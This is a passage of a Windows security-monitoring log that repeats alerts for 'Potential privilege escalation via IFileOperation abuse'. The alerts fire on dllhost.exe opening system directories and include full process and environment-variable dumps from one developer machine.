POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388823 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.9507258 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ , file_object➜ ffffc38b88889600, file_path➜ C:\Windows\System32\wbem\, irp➜ ffffc38b819ef778, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388823 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.9507258 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ , file_object➜ ffffc38b88889600, file_path➜ C:\Windows\System32\wbem\, irp➜ ffffc38b819ef778, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388825 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.9508139 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b888884d0, file_path➜ C:\Windows\System32\, irp➜ ffffc38b824f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004 + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388825 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.9508139 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b888884d0, file_path➜ C:\Windows\System32\, irp➜ ffffc38b824f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388827 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.950985 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b88888ca0, file_path➜ C:\Windows\, irp➜ ffffc38b824f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388827 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.950985 +0100 CET + Params: attributes➜ DIRECTORY|NORMAL, create_disposition➜ OPEN, create_options➜ DIRECTORY_FILE|SYNCHRONOUS_IO_NONALERT|FOR_BACKUP_INTENT, file_object➜ ffffc38b88888ca0, file_path➜ C:\Windows\, irp➜ ffffc38b824f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ Directory + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004 + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a 